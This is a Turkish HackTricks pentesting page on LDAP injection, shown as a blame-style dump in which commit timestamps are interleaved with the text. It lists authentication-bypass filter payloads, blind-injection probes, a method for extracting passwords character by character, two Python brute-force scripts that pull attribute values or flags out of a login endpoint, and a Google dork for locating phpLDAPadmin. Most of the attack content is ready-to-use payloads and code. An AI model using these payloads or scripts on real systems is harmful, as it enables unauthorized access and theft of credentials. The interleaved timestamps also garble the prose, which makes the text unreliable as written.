2024-04-07 03:13:19 +00:00
# LDAP Enjeksiyonu
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
## LDAP Enjeksiyonu
2022-05-07 13:38:40 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-05-08 16:34:44 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2024-02-03 14:45:32 +00:00
2024-05-08 16:34:44 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na göz atı n(https://github.com/sponsors/carlospolop)!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-05-08 16:34:44 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-05-08 16:34:44 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-30 20:31:18 +00:00
2024-05-05 22:43:52 +00:00
Eğer **hacking kariyeri**ne ilgi duyuyorsanı z ve hacklenemez olanı hacklemek istiyorsanı z - **işe alı yoruz!** (_akı cı şekilde yazı lı ve konuşulan Lehçe gereklidir_).
2024-02-18 14:49:08 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## LDAP Enjeksiyonu
2022-04-30 20:31:18 +00:00
2022-05-07 13:38:40 +00:00
### **LDAP**
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
**LDAP'nin ne olduğunu öğrenmek istiyorsanı z aşağı daki sayfaya erişin:**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md ](../network-services-pentesting/pentesting-ldap.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-08 20:38:29 +00:00
2024-05-08 16:34:44 +00:00
**LDAP Enjeksiyonu**, kullanı cı girdilerinden LDAP ifadeleri oluşturan web uygulamaları nı hedef alan bir saldı rı dı r. Uygulama, girişleri **doğru bir şekilde temizlemediğinde** , saldı rganları n bir yerel proxy aracı lı ğı yla LDAP ifadelerini **manipüle etmelerine** izin vererek yetkisiz erişime veya veri manipülasyonuna yol açabilir.
2020-07-15 15:43:14 +00:00
2024-04-07 03:13:19 +00:00
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
2021-10-18 11:21:18 +00:00
2024-02-10 18:14:16 +00:00
**Filtre** = ( filtercomp )\
2021-10-18 11:21:18 +00:00
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
2024-02-10 18:14:16 +00:00
**(& )** = Mutlak DOĞRU\
**(|)** = Mutlak YANLIŞ
2021-10-18 11:21:18 +00:00
2024-02-10 18:14:16 +00:00
Örneğin:\
2021-10-18 11:21:18 +00:00
`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
2020-07-15 15:43:14 +00:00
2024-05-08 16:34:44 +00:00
Veritabanı na erişebilir ve bu farklı türlerde birçok bilgi içerebilir.
2020-07-15 15:43:14 +00:00
2024-02-18 14:49:08 +00:00
**OpenLDAP**: 2 filtre geldiğinde sadece ilkini yürütür.\
2024-03-29 21:18:23 +00:00
**ADAM veya Microsoft LDS**: 2 filtre ile hata verirler.\
2024-02-18 14:49:08 +00:00
**SunOne Directory Server 5.0**: Her iki filtre de yürütülür.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Filtreyi doğru sözdizimiyle göndermek çok önemlidir, aksi takdirde hata alı nı r. Sadece 1 filtre göndermek daha iyidir.**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Filtre, `&` veya `|` ile başlamalı dı r\
Örnek: `(&(directory=val1)(folder=public))`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2020-07-15 15:43:14 +00:00
2024-02-18 14:49:08 +00:00
Sonra: `(&(objectClass=` **`*)(ObjectClass=*))`** ilk filtre olacaktı r (yürütülen filtre).
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Giriş Atlatma
2020-07-15 15:43:14 +00:00
2024-05-08 16:34:44 +00:00
LDAP, şifreyi saklamak için çeşitli formatları destekler: düz, md5, smd5, sh1, sha, crypt. Bu nedenle, şifre içine ne koyarsanı z koyun, muhtemelen hashlenir.
2020-07-15 15:43:14 +00:00
```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
2021-06-08 21:58:39 +00:00
--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
2020-07-15 15:43:14 +00:00
```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```
2024-02-10 18:14:16 +00:00
#### Listeler
2021-06-08 21:58:39 +00:00
2022-04-30 20:31:18 +00:00
* [LDAP\_FUZZ ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt )
2024-04-17 05:40:04 +00:00
* [LDAP Öznitelikleri ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt )
* [LDAP PosixAccount öznitelikleri ](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Kör LDAP Enjeksiyonu
2021-06-08 21:58:39 +00:00
2024-05-08 16:34:44 +00:00
Herhangi bir veri döndürülüp döndürülmediğini kontrol etmek için Yanı ltı cı veya Doğru yanı tlar zorlayabilir ve olası bir Kör LDAP Enjeksiyonunu doğrulayabilirsiniz:
2021-06-08 21:58:39 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```
2024-02-10 18:14:16 +00:00
#### Veri dökümü
2021-06-08 21:58:39 +00:00
2024-05-08 16:34:44 +00:00
Ascii harfleri, rakamları ve sembolleri üzerinde döngü oluşturabilirsiniz:
2020-07-15 15:43:14 +00:00
```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
2024-02-18 14:49:08 +00:00
### Betikler
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
#### **Geçerli LDAP alanları nı keşfedin**
2020-07-15 15:43:14 +00:00
2024-05-05 22:43:52 +00:00
LDAP nesneleri **varsayı lan olarak birkaç özniteliği içerir** ve bu öznitelikler **bilgi saklamak için kullanı labilir** . Bu bilgiyi çı karmak için **hepsini kaba kuvvet uygulayabilirsiniz** . [**Varsayı lan LDAP özniteliklerinin bir listesini burada** ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt ) bulabilirsiniz.
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
2024-02-10 18:14:16 +00:00
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Özel Kör LDAP Enjeksiyonu ("\*" olmadan)**
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
2024-02-10 18:14:16 +00:00
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir& search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
2022-05-07 13:38:40 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
2024-02-18 14:49:08 +00:00
### Daha Fazla Yükleme
2021-06-08 21:58:39 +00:00
2022-05-08 22:42:39 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
2024-05-08 16:34:44 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-05-08 22:42:39 +00:00
2024-04-07 03:13:19 +00:00
Eğer **hacking kariyeri**ne ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - **işe alı yoruz!** (_akı cı şekilde Lehçe yazı lı ve konuşma gereklidir_).
2024-02-18 14:49:08 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2024-05-08 16:34:44 +00:00
< summary > < strong > Sı fı rdan kahraman olmaya kadar AWS hacking öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-18 14:49:08 +00:00
HackTricks'ı desteklemenin diğer yolları :
2024-02-03 14:45:32 +00:00
2024-05-08 16:34:44 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atı n!
2024-02-23 16:46:32 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-03-29 21:18:23 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-05-08 16:34:44 +00:00
* **💬 [Discord grubuna ](https://discord.gg/hRep4RUj7f ) katı lı n veya [telegram grubuna ](https://t.me/peass ) katı lı n veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katı lı n.
2022-04-28 16:01:33 +00:00
< / details >